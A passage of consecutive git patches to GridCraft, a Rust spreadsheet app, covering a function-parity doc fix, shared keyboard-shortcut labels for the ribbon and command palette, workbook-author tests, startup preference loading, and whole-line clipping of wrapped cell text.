BYROW, BYCOL, MAKEARRAY…), excluding the test-only `ADD2`. Every one is an Excel name. -- **Not on Microsoft's list:** USDOLLAR, a legacy function Excel still evaluates (like DOLLAR), - is in our library as a Compatibility function for files that use it. It is not counted above. +- **Not on Microsoft's list:** USDOLLAR and ECMA.CEILING, legacy functions Excel still evaluates (like DOLLAR), + are in our library as Compatibility functions for files that use them. They are not counted above. - **Working** excludes stubs that return an error by design: the 7 CUBE functions (`#N/A`, no cube connections) and WEBSERVICE and FILTERXML (`#VALUE!`). Excel for Mac also lacks WEBSERVICE and FILTERXML; Excel for Windows has them. @@ -33,6 +33,7 @@ Excel's worksheet functions, category by category, against GridCraft's function | Category | Excel | Ours | Working | % working | Missing | |---|---|---|---|---|---| +| 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | Statistical | 111 | 111 | 111 | 100% | — | | Math and trigonometry | 80 | 79 | 79 | 99% | PERCENTOF | | Financial | 55 | 55 | 55 | 100% | — | From ff7ed4b57c6615a20533db3b323e47e8e55a526b Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 21:28:25 -0500 Subject: [PATCH 042/298] Move the ECMA.CEILING revision entry into the revision history table --- docs/function-parity.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index 92c64467e..558680882 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -33,7 +33,6 @@ Excel's worksheet functions, category by category, against GridCraft's function | Category | Excel | Ours | Working | % working | Missing | |---|---|---|---|---|---| -| 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | Statistical | 111 | 111 | 111 | 100% | — | | Math and trigonometry | 80 | 79 | 79 | 99% | PERCENTOF | | Financial | 55 | 55 | 55 | 100% | — | @@ -124,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 712f45965b5942226f6e73f4a1648603a5f78ff4 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 10:07:56 +0700 Subject: [PATCH 043/298] fix(ui): share verified shortcuts between palette and ribbon --- crates/ui-egui/src/dialogs/command_search.rs | 43 +--------- crates/ui-egui/src/widgets.rs | 82 +++++++++++++------- crates/ui-egui/tests/it/dialog_focus.rs | 35 +++++++++ 3 files changed, 93 insertions(+), 67 deletions(-) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index e7c59b150..81fa581e4 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -28,7 +28,7 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial .into_iter() .filter(|c| c.enabled) .filter(|c| q.is_empty() || c.label.to_ascii_lowercase().contains(&q) || c.id.to_ascii_lowercase().contains(&q)) - .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "), command_search_shortcut(c.id, mac))) + .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "), crate::widgets::command_shortcut(c.id, mac))) .take(40) .collect(); @@ -69,7 +69,7 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial Some(keys) => format!("{label} ({keys}) {menu}"), None => format!("{label} {menu}"), }; - let r = ui.add(egui::Button::selectable(i == d.list_index, text).truncate().min_size(vec2(scroll_area_width, 20.0))); + let r = ui.add(egui::Button::selectable(i == d.list_index, text.clone()).truncate().min_size(vec2(scroll_area_width, 20.0))); if (down || up || home || end || pgup || pgdn) && i == d.list_index && !ui.clip_rect().contains_rect(r.rect) { r.scroll_to_me(Some(if down || end || pgdn { egui::Align::Max } else { egui::Align::Min })); @@ -80,7 +80,7 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial *confirm = true; } - r.on_hover_text(id); + r.on_hover_text(format!("{text}\n{id}")); } }); if ui.input(|i| i.key_pressed(Key::Enter)) { @@ -92,40 +92,3 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial app.run_or_alert(&id, json!({})); } } - -/// Only advertises shortcuts verified against the grid keymap and ribbon. -/// Commands without a confirmed binding are shown without a shortcut. -fn command_search_shortcut(id: &str, mac: bool) -> Option<&'static str> { - let (mac_keys, other_keys) = match id { - "file.new" => ("⌘N", Some("Ctrl+N")), - "file.open" => ("⌘O", Some("Ctrl+O")), - "file.save" => ("⌘S", Some("Ctrl+S")), - "file.saveAs" => ("⌘⇧S", Some("Ctrl+Shift+S")), - "file.close" => ("⌘W", Some("Ctrl+W")), - "edit.copy" => ("⌘C", Some("Ctrl+C")), - "edit.cut" => ("⌘X", Some("Ctrl+X")), - "edit.paste" => ("⌘V", Some("Ctrl+V")), - "edit.undo" => ("⌘Z", Some("Ctrl+Z")), - "edit.redo" => ("⌘Y", Some("Ctrl+Y")), - "edit.selectAll" => ("⌘A", Some("Ctrl+A")), - "edit.fillDown" => ("⌘D", Some("Ctrl+D")), - "edit.fillRight" => ("⌘R", Some("Ctrl+R")), - "home.bold" => ("⌘B", Some("Ctrl+B")), - "home.italic" => ("⌘I", Some("Ctrl+I")), - "home.underline" => ("⌘U", Some("Ctrl+U")), - "formulas.autoSum" => ("⌘⇧T", Some("Alt+=")), - "insert.table" => ("⌘T", Some("Ctrl+T")), - "data.filter" => ("⌘⇧F", Some("Ctrl+Shift+L")), - "edit.flashFill" => ("Control+E", Some("Ctrl+E")), - "edit.pasteSpecial" => ("Ctrl+Cmd+V", Some("Ctrl+Alt+V")), - "home.alignLeft" => ("⌘L", None), - "home.alignCenter" => ("⌘E", None), - "selection.row" => ("Shift+Space", Some("Shift+Space")), - "selection.column" => ("Control+Space", Some("Ctrl+Space")), - "view.showObjects" => ("Ctrl+6", Some("Ctrl+6")), - "formulas.showFormulas" => ("⌘`", Some("Ctrl+`")), - _ => return None, - }; - - if mac { Some(mac_keys) } else { other_keys } -} diff --git a/crates/ui-egui/src/widgets.rs b/crates/ui-egui/src/widgets.rs index 63490a36e..11ec30a23 100644 --- a/crates/ui-egui/src/widgets.rs +++ b/crates/ui-egui/src/widgets.rs @@ -15,39 +15,59 @@ fn tr<'a>(ui: &Ui, text: &'a str) -> &'a str { i18n::current(ui.ctx()).tr(text) } -/// Keyboard shortcuts shown after a ribbon tooltip's command name: Excel for Mac's on macOS, -/// Excel for Windows' elsewhere (each one GridCraft binds). Only the name is translated. -const TOOLTIP_SHORTCUTS: &[(&str, &str, &str)] = &[ - ("Save", "⌘S", "Ctrl+S"), - ("Undo", "⌘Z", "Ctrl+Z"), - ("Redo", "⌘Y", "Ctrl+Y"), - ("Paste", "⌘V", "Ctrl+V"), - ("Cut", "⌘X", "Ctrl+X"), - ("Copy", "⌘C", "Ctrl+C"), - ("Bold", "⌘B", "Ctrl+B"), - ("Italic", "⌘I", "Ctrl+I"), - ("Underline", "⌘U", "Ctrl+U"), - ("AutoSum", "⌘⇧T", "Alt+="), - ("Table", "⌘T", "Ctrl+T"), - ("Insert Link", "⌘K", "Ctrl+K"), - ("Filter", "⌘⇧F", "Ctrl+Shift+L"), - ("Flash Fill", "⌘E", "Ctrl+E"), - // The Control key, written the way each platform names it. macOS's ⌃ is supplied by its - // system fonts; elsewhere the Windows spelling avoids a glyph no bundled face has. - ("Show Formulas", "⌃`", "Ctrl+`"), +/// Verified shortcut labels shared by Ribbon tooltips and Command Palette. +/// Each entry is (command ID, optional Ribbon tooltip, macOS keys, other OS keys). +/// The dialog ID is included because Insert Link opens a UI dialog directly. +const SHORTCUTS: &[(&str, &str, &str, Option<&str>)] = &[ + ("file.new", "", "⌘N", Some("Ctrl+N")), + ("file.open", "", "⌘O", Some("Ctrl+O")), + ("file.save", "Save", "⌘S", Some("Ctrl+S")), + ("file.saveAs", "", "⌘⇧S", Some("Ctrl+Shift+S")), + ("file.close", "", "⌘W", Some("Ctrl+W")), + ("edit.copy", "Copy", "⌘C", Some("Ctrl+C")), + ("edit.cut", "Cut", "⌘X", Some("Ctrl+X")), + ("edit.paste", "Paste", "⌘V", Some("Ctrl+V")), + ("edit.undo", "Undo", "⌘Z", Some("Ctrl+Z")), + ("edit.redo", "Redo", "⌘Y", Some("Ctrl+Y")), + ("edit.selectAll", "", "⌘A", Some("Ctrl+A")), + ("edit.fillDown", "", "⌘D", Some("Ctrl+D")), + ("edit.fillRight", "", "⌘R", Some("Ctrl+R")), + ("home.bold", "Bold", "⌘B", Some("Ctrl+B")), + ("home.italic", "Italic", "⌘I", Some("Ctrl+I")), + ("home.underline", "Underline", "⌘U", Some("Ctrl+U")), + ("formulas.autoSum", "AutoSum", "⌘⇧T", Some("Alt+=")), + ("insert.table", "Table", "⌘T", Some("Ctrl+T")), + ("dialog:insertLink", "Insert Link", "⌘K", Some("Ctrl+K")), + ("data.filter", "Filter", "⌘⇧F", Some("Ctrl+Shift+L")), + ("edit.flashFill", "Flash Fill", "Control+E", Some("Ctrl+E")), + ("edit.pasteSpecial", "", "Ctrl+Cmd+V", Some("Ctrl+Alt+V")), + ("home.alignLeft", "", "⌘L", None), + ("home.alignCenter", "", "⌘E", None), + ("selection.row", "", "Shift+Space", Some("Shift+Space")), + ("selection.column", "", "Control+Space", Some("Ctrl+Space")), + ("view.showObjects", "", "Control+6", Some("Ctrl+6")), + ("formulas.showFormulas", "Show Formulas", "⌘`", Some("Ctrl+`")), ]; -/// The shortcut a ribbon tooltip shows after `tip`, for this platform (`mac`). -pub fn tooltip_shortcut(tip: &str, mac: bool) -> Option<&'static str> { - TOOLTIP_SHORTCUTS.iter().find(|(name, _, _)| *name == tip).map(|(_, m, other)| if mac { *m } else { *other }) +/// Returns a verified platform-specific shortcut for a command ID. +pub fn command_shortcut(id: &str, mac: bool) -> Option<&'static str> { + SHORTCUTS.iter().find(|(command, _, _, _)| *command == id).and_then(|(_, _, mac_keys, other)| if mac { Some(*mac_keys) } else { *other }) } +/// Returns the same shortcut for a Ribbon tooltip label. +pub fn tooltip_shortcut(tip: &str, mac: bool) -> Option<&'static str> { + SHORTCUTS.iter().find(|(_, label, _, _)| !label.is_empty() && *label == tip).and_then( + |(_, _, mac_keys, other)| { + if mac { Some(*mac_keys) } else { *other } + }, + ) +} /// A ribbon tooltip: the translated command name, then its shortcut for this platform, as Excel /// shows them ("Bold (Ctrl+B)" on Windows, "Bold (⌘B)" on macOS). fn tip_text(ui: &Ui, tip: &str) -> String { // A name shared with a two-line ribbon label (Czech "Automatický\nsoučet") reads as one line. let name = tr(ui, tip).replace('\n', " "); - let text = match tooltip_shortcut(tip, cfg!(target_os = "macos")) { + let text = match tooltip_shortcut(tip, ui.ctx().os() == egui::os::OperatingSystem::Mac) { Some(keys) => format!("{name} ({keys})"), None => name, }; @@ -714,9 +734,17 @@ mod tooltip_shortcut_tests { assert_eq!(tooltip_shortcut("Filter", true), Some("⌘⇧F")); // Search commands has no shortcut of its own (Ctrl+Shift+Space selects all). assert_eq!(tooltip_shortcut("Search commands", false), None); - for (name, mac, other) in super::TOOLTIP_SHORTCUTS { - assert!(!other.contains(['⌘', '⇧', '⌥']), "{name}: {other}"); - assert!(mac.starts_with('⌘') || mac.starts_with('⌃'), "{name}: {mac}"); + for (id, tip, mac, other) in super::SHORTCUTS { + assert!(!mac.is_empty(), "{id}: empty macOS mapping"); + if let Some(keys) = other { + assert!(!keys.contains(['⌘', '⇧', '⌥']), "{id}: {keys}"); + } + assert_eq!(super::command_shortcut(id, true), Some(*mac), "{id}"); + assert_eq!(super::command_shortcut(id, false), *other, "{id}"); + if !tip.is_empty() { + assert_eq!(tooltip_shortcut(tip, true), Some(*mac), "{id}"); + assert_eq!(tooltip_shortcut(tip, false), *other, "{id}"); + } } } } diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 878ea9bd8..de004d621 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -194,3 +194,38 @@ fn command_search_selection_shortcuts_match_runtime_os() { h.get_by_label_contains(column_label); } } + +/// Ribbon tooltips and the Command Palette read the same shortcut metadata. +#[test] +fn command_palette_and_ribbon_tooltips_share_shortcuts() { + use gridcraft_ui_egui::widgets::{command_shortcut, tooltip_shortcut}; + + for (id, tip) in [ + ("file.save", "Save"), + ("edit.undo", "Undo"), + ("edit.redo", "Redo"), + ("edit.copy", "Copy"), + ("edit.cut", "Cut"), + ("edit.paste", "Paste"), + ("home.bold", "Bold"), + ("home.italic", "Italic"), + ("home.underline", "Underline"), + ("formulas.autoSum", "AutoSum"), + ("insert.table", "Table"), + ("data.filter", "Filter"), + ("edit.flashFill", "Flash Fill"), + ("formulas.showFormulas", "Show Formulas"), + ] { + for mac in [false, true] { + assert_eq!(command_shortcut(id, mac), tooltip_shortcut(tip, mac), "{id} and {tip} diverged on mac={mac}"); + } + } + + assert_eq!(command_shortcut("edit.flashFill", true), Some("Control+E")); + assert_eq!(command_shortcut("home.alignCenter", true), Some("⌘E")); + assert_eq!(command_shortcut("home.alignCenter", false), None); + assert_eq!(command_shortcut("formulas.showFormulas", true), Some("⌘`")); + assert_eq!(command_shortcut("edit.pasteSpecial", false), Some("Ctrl+Alt+V")); + assert_eq!(command_shortcut("selection.row", false), Some("Shift+Space")); + assert_eq!(command_shortcut("unverified.command", false), None); +} From a81cb0f21ef84d80cc40e31203ecd8e91d64d3dd Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 10:22:31 +0700 Subject: [PATCH 044/298] test(engine): cover default workbook author and preservation --- crates/engine/tests/it/main.rs | 1 + crates/engine/tests/it/workbook_author.rs | 50 +++++++++++++++++++++++ 2 files changed, 51 insertions(+) create mode 100644 crates/engine/tests/it/workbook_author.rs diff --git a/crates/engine/tests/it/main.rs b/crates/engine/tests/it/main.rs index 4c91e58ac..95220c68f 100644 --- a/crates/engine/tests/it/main.rs +++ b/crates/engine/tests/it/main.rs @@ -28,4 +28,5 @@ mod sparse_clear_invalidation; mod stored_list_shape; mod table_resize_overlap; mod table_total_row_last_row; +mod workbook_author; mod wrap_row_height; diff --git a/crates/engine/tests/it/workbook_author.rs b/crates/engine/tests/it/workbook_author.rs new file mode 100644 index 000000000..7af8b5d68 --- /dev/null +++ b/crates/engine/tests/it/workbook_author.rs @@ -0,0 +1,50 @@ +//! Regression tests for the default author of newly created workbooks. + +use gridcraft_engine::{DocState, Session, Trust, io, model::Workbook}; + +#[test] +fn new_workbook_stamps_the_configured_user_name_at_creation() { + let mut session = Session::new(); + + session.prefs.user_name = "Ada Lovelace".into(); + let first = session.new_workbook(); + + assert_eq!(session.documents()[first].wb.props.author, "Ada Lovelace"); + + // Changing the preference must not rewrite an existing workbook. + session.prefs.user_name = "Grace Hopper".into(); + + assert_eq!(session.documents()[first].wb.props.author, "Ada Lovelace"); + + // A new workbook uses the preference as it exists at creation. + let second = session.new_workbook(); + + assert_eq!(session.documents()[second].wb.props.author, "Grace Hopper"); + + assert_eq!(session.documents()[first].wb.props.author, "Ada Lovelace"); +} + +#[test] +fn opening_and_resaving_preserves_the_existing_workbook_author() { + // An existing XLSX has its own author metadata. + let mut source = Workbook::new(); + source.props.author = "Original Spreadsheet Author".into(); + + let bytes = io::save_bytes(&source, "source.xlsx").unwrap(); + let (opened, _) = io::open_bytes("source.xlsx", &bytes).unwrap(); + + let mut session = Session::new(); + session.prefs.user_name = "Current GridCraft User".into(); + + session.add_document(DocState::new(opened, None, "source".into(), Trust::FromFile)); + + // Opening an existing workbook must not replace its author. + assert_eq!(session.doc().unwrap().wb.props.author, "Original Spreadsheet Author"); + + // The original author must survive another XLSX save and reopen. + let saved = io::save_bytes(&session.doc().unwrap().wb, "saved.xlsx").unwrap(); + + let (reopened, _) = io::open_bytes("saved.xlsx", &saved).unwrap(); + + assert_eq!(reopened.props.author, "Original Spreadsheet Author"); +} From dd48d096050576e0be1d320bce41635acceca027 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 10:31:19 +0700 Subject: [PATCH 045/298] test(ui): cover runtime tooltips and current region shortcut --- crates/ui-egui/src/widgets.rs | 20 ++++++++++++++++++++ crates/ui-egui/tests/it/dialog_focus.rs | 22 ++++++++++++++++++++++ 2 files changed, 42 insertions(+) diff --git a/crates/ui-egui/src/widgets.rs b/crates/ui-egui/src/widgets.rs index 11ec30a23..a43784930 100644 --- a/crates/ui-egui/src/widgets.rs +++ b/crates/ui-egui/src/widgets.rs @@ -44,6 +44,7 @@ const SHORTCUTS: &[(&str, &str, &str, Option<&str>)] = &[ ("home.alignLeft", "", "⌘L", None), ("home.alignCenter", "", "⌘E", None), ("selection.row", "", "Shift+Space", Some("Shift+Space")), + ("selection.currentRegion", "", "Control+Shift+8", Some("Ctrl+Shift+8")), ("selection.column", "", "Control+Space", Some("Ctrl+Space")), ("view.showObjects", "", "Control+6", Some("Ctrl+6")), ("formulas.showFormulas", "Show Formulas", "⌘`", Some("Ctrl+`")), @@ -747,4 +748,23 @@ mod tooltip_shortcut_tests { } } } + + #[test] + fn ribbon_tip_text_obeys_runtime_os() { + use egui::os::OperatingSystem; + + for (os, expected) in [(OperatingSystem::Windows, "Flash Fill (Ctrl+E)"), (OperatingSystem::Mac, "Flash Fill (Control+E)")] { + let ctx = egui::Context::default(); + ctx.set_os(os); + + let mut actual = String::new(); + + let mut output = ctx.run_ui(egui::RawInput::default(), |ui| { + actual = super::tip_text(ui, "Flash Fill"); + }); + output.textures_delta.clear(); + + assert_eq!(actual, expected, "{os:?}"); + } + } } diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index de004d621..6aba1c2f3 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -229,3 +229,25 @@ fn command_palette_and_ribbon_tooltips_share_shortcuts() { assert_eq!(command_shortcut("selection.row", false), Some("Shift+Space")); assert_eq!(command_shortcut("unverified.command", false), None); } + +/// Current Region must show the physical Control shortcut on both platforms. +#[test] +fn command_search_shows_current_region_shortcut() { + use egui::os::OperatingSystem; + + for (os, expected) in + [(OperatingSystem::Windows, "Select Current Region (Ctrl+Shift+8)"), (OperatingSystem::Mac, "Select Current Region (Control+Shift+8)")] + { + let mut h = harness(); + h.ctx.set_os(os); + h.run_steps(2); + + h.state_mut().open_dialog("commandSearch", json!({})); + h.run_steps(6); + + h.state_mut().dialog.as_mut().unwrap().search = "selection.currentRegion".into(); + + h.run_steps(3); + h.get_by_label_contains(expected); + } +} From c22f46628cdc2408e67c9f7de21bd48d775a47ac Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 10:47:42 +0700 Subject: [PATCH 046/298] fix(desktop): load preferences before creating startup workbook --- apps/gridcraft/src/main.rs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 988bf738b..805867267 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -311,15 +311,16 @@ fn main() -> eframe::Result<()> { { log::warn!("sample {s}: {e}"); } - if session.documents().is_empty() { - session.new_workbook(); - } let mut app = SheetApp::new(session, services()); app.watch_desktop_theme(); app.start_update_check(); - app.after_engine(); // Show warnings from the sample. let control_port = control_port; load_prefs(&mut app); + // Stamp the startup workbook's author from the persisted user name. + if app.session.documents().is_empty() { + app.session.new_workbook(); + } + app.after_engine(); // Show warnings from the sample. // Files named on the command line (a double-click on Windows and Linux) open as File › Open // opens them: a password-protected one asks for its password, and errors are shown, not // only logged. Each replaces the untouched blank Book1, as a file opened from Finder does. From f9b869b3a4e7f66f8862bfaada1a8e3f54b92441 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 17:03:09 +0700 Subject: [PATCH 047/298] fix(grid): prevent partial wrapped text lines in fixed-height rows --- crates/ui-egui/src/grid/quadrant.rs | 13 +- .../ui-egui/tests/it/text_overflow_scroll.rs | 181 ++++++++++++++++++ 2 files changed, 193 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index aa9e6fc07..0fbdf14aa 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -260,7 +260,18 @@ pub(crate) fn paint_quadrant( _ => text_left + pad + indent, }; let y = wrapped_cell_text_y(st.align.v, *rect, galley.size().y, z); - p.with_clip_rect(rect.intersect(p.clip_rect())).galley(pos2(x, y), galley, color); + let mut text_clip = rect.intersect(p.clip_rect()); + + // A partially visible wrapped line can leave a few pixels + // touching the row border. For top-aligned text, show only + // complete lines within the available cell height. + if st.align.v == VAlign::Top { + let last_full_bottom = galley.rows.iter().map(|row| y + row.rect().bottom()).rfind(|bottom| *bottom <= rect.bottom() + 0.01); + + text_clip.max.y = last_full_bottom.map(|bottom| text_clip.bottom().min(bottom)).unwrap_or(text_clip.top()).max(text_clip.top()); + } + + p.with_clip_rect(text_clip).galley(pos2(x, y), galley, color); continue; } // Wrap Text off: Excel ignores the line breaks and draws the whole string on one line. diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index 10d5e1848..da0c22183 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -108,3 +108,184 @@ fn scrolled_overflow_does_not_draw_over_frozen_columns() { assert!(clips.iter().any(|r| r.intersects(e1.shrink(1.0))), "C1's overflow reaches E1: {clips:?}"); assert!(clips.iter().all(|r| !r.intersects(a1.shrink(1.0))), "C1's overflow stays out of frozen column A: {clips:?}"); } + +/// Issue #2752: fixed-height wrapped cells must not paint +/// a fraction of a text line against the next row's border. +#[test] +fn wrapped_text_in_fixed_height_row_shows_only_complete_lines() { + const TEXT: &str = "Row 3 target. This is intentionally long text that must wrap \ + across many lines within a narrow column. It must never \ + paint over the next row."; + + let h = harness(|s| { + s.execute("home.columnWidth", json!({"cols": "B:B", "chars": 12})).unwrap(); + + s.execute("cell.set", json!({"cell": "B3", "input": TEXT})).unwrap(); + + s.execute("home.wrapText", json!({"range": "B3", "on": true})).unwrap(); + + s.execute("home.formatCells", json!({"range": "B3", "style": {"align": {"v": "Top"}}})).unwrap(); + + // Apply the custom height after Wrap Text so AutoFit + // cannot expand the row for this scenario. + s.execute("home.rowHeight", json!({"rows": "3:3", "height": 62.67})).unwrap(); + }); + + let cell = cell_rect(&h, "B3"); + + let shapes: Vec<_> = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::Text(t) if t.galley.job.text == TEXT => Some((t, shape.clip_rect)), + _ => None, + }) + .collect(); + + assert_eq!(shapes.len(), 1, "expected one painted wrapped text shape"); + + let (text, clip) = shapes[0]; + + assert!(text.galley.rows.len() > 4, "test must produce multiple wrapped lines"); + + assert!(text.galley.size().y > cell.height(), "wrapped text must exceed the fixed row height"); + + assert!(clip.top() >= cell.top() - 0.5 && clip.bottom() <= cell.bottom() + 0.5, "text clip must stay within B3: {clip:?} vs {cell:?}"); + + let mut full_rows_visible = 0; + + for (index, row) in text.galley.rows.iter().enumerate() { + let top = text.pos.y + row.rect().top(); + let bottom = text.pos.y + row.rect().bottom(); + let full_height = bottom - top; + + let visible_height = (bottom.min(clip.bottom()) - top.max(clip.top())).max(0.0); + + let partly_visible = visible_height > 0.5 && visible_height < full_height - 0.5; + + assert!( + !partly_visible, + "wrapped line {} is partially visible: \ + line=[{top:.2}, {bottom:.2}], clip={clip:?}", + index + 1 + ); + + if visible_height >= full_height - 0.5 { + full_rows_visible += 1; + } + } + + assert!(full_rows_visible >= 2, "the clipping fix must still show complete text lines"); +} + +/// Issue #2752: a row shorter than a text line must not +/// render a fragment of wrapped text. +#[test] +fn wrapped_text_in_tiny_row_has_no_partial_lines() { + const TEXT: &str = "This wrapped text should not be partly painted."; + + let h = harness(|s| { + s.execute("home.columnWidth", json!({"cols": "B:B", "chars": 12})).unwrap(); + + s.execute("cell.set", json!({"cell": "B3", "input": TEXT})).unwrap(); + + s.execute("home.wrapText", json!({"range": "B3", "on": true})).unwrap(); + + s.execute("home.formatCells", json!({"range": "B3", "style": {"align": {"v": "Top"}}})).unwrap(); + + s.execute("home.rowHeight", json!({"rows": "3:3", "height": 5})).unwrap(); + }); + + let cell = cell_rect(&h, "B3"); + + let shapes: Vec<_> = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::Text(t) if t.galley.job.text == TEXT => Some((t, shape.clip_rect)), + _ => None, + }) + .collect(); + + assert_eq!(shapes.len(), 1, "expected the wrapped text shape"); + + let (text, clip) = shapes[0]; + + assert!(text.galley.rows.len() > 1, "text must wrap into multiple lines"); + + assert!(cell.height() < text.galley.rows[0].rect().height(), "test setup must produce a row shorter than one line"); + + assert!(clip.top() >= cell.top() - 0.5 && clip.bottom() <= cell.bottom() + 0.5, "text clip must remain inside its cell"); + + assert!(clip.height() <= 0.5, "no partial line should be visible: clip={clip:?}"); +} + +/// Issue #2752: scrolling through a wrapped cell may clip at +/// the viewport edge, but must not change its row-bottom limit. +#[test] +fn wrapped_text_clipping_survives_partial_vertical_scroll() { + const TEXT: &str = "Wrapped viewport regression text with enough words \ + to occupy many lines in a narrow spreadsheet column."; + + let mut h = harness(|s| { + s.execute("home.columnWidth", json!({"cols": "B:B", "chars": 12})).unwrap(); + s.execute("cell.set", json!({"cell": "B3", "input": TEXT})).unwrap(); + s.execute("home.wrapText", json!({"range": "B3", "on": true})).unwrap(); + s.execute("home.formatCells", json!({"range": "B3", "style": {"align": {"v": "Top"}}})).unwrap(); + s.execute("home.rowHeight", json!({"rows": "3:3", "height": 76})).unwrap(); + }); + + let original_cell = cell_rect(&h, "B3"); + let original_clip = text_clips(&h, TEXT); + assert_eq!(original_clip.len(), 1); + + { + let app = h.state_mut(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let scroll = sheet.row_top(2) as f32 + 8.0; + app.view_mut().unwrap().scroll.y = scroll; + } + + h.run_steps(4); + + let cell = cell_rect(&h, "B3"); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + let viewport = geo.cells; + + let shapes: Vec<_> = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::Text(t) if t.galley.job.text == TEXT => Some((t, shape.clip_rect)), + _ => None, + }) + .collect(); + + assert_eq!(shapes.len(), 1, "B3 must remain visible after scrolling"); + + let (text, clip) = shapes[0]; + + assert!(clip.top() > cell.top() + 1.0, "test must scroll through B3: clip={clip:?}, cell={cell:?}"); + + assert!(clip.top() >= viewport.top() - 0.5, "text must not paint above viewport: {clip:?} vs {viewport:?}"); + + assert!(clip.bottom() <= cell.bottom() + 0.5, "text must stay within B3: {clip:?} vs {cell:?}"); + + let full_line_bottoms: Vec = + text.galley.rows.iter().map(|row| text.pos.y + row.rect().bottom()).filter(|bottom| *bottom <= cell.bottom() + 0.01).collect(); + + let expected_bottom = full_line_bottoms.last().copied().expect("at least one wrapped line must fit B3"); + + assert!( + (clip.bottom() - expected_bottom).abs() <= 0.5, + "scrolling must preserve complete-line clipping: \ + clip={clip:?}, expected_bottom={expected_bottom:.2}" + ); + + assert!(original_cell.height() > 0.0 && original_clip[0].height() > 0.0, "unscrolled B3 must display text"); +} From f01c02cc41dbc0f4cba80ab315a208b8a2203156 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Wed, 28 Oct 2026 15:16:55 -0500 Subject: [PATCH 048/298] fix: place AutoSum caret inside empty formula --- crates/ui-egui/src/app/commands.rs | 9 +++++++++ crates/ui-egui/tests/it/formula_locale.rs | 9 +++++++++ 2 files changed, 18 insertions(+) diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index a3dd9ac37..e248fc13b 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -52,6 +52,15 @@ impl SheetApp { // Requests the command made (a dialog, a draft) belong to the window it left 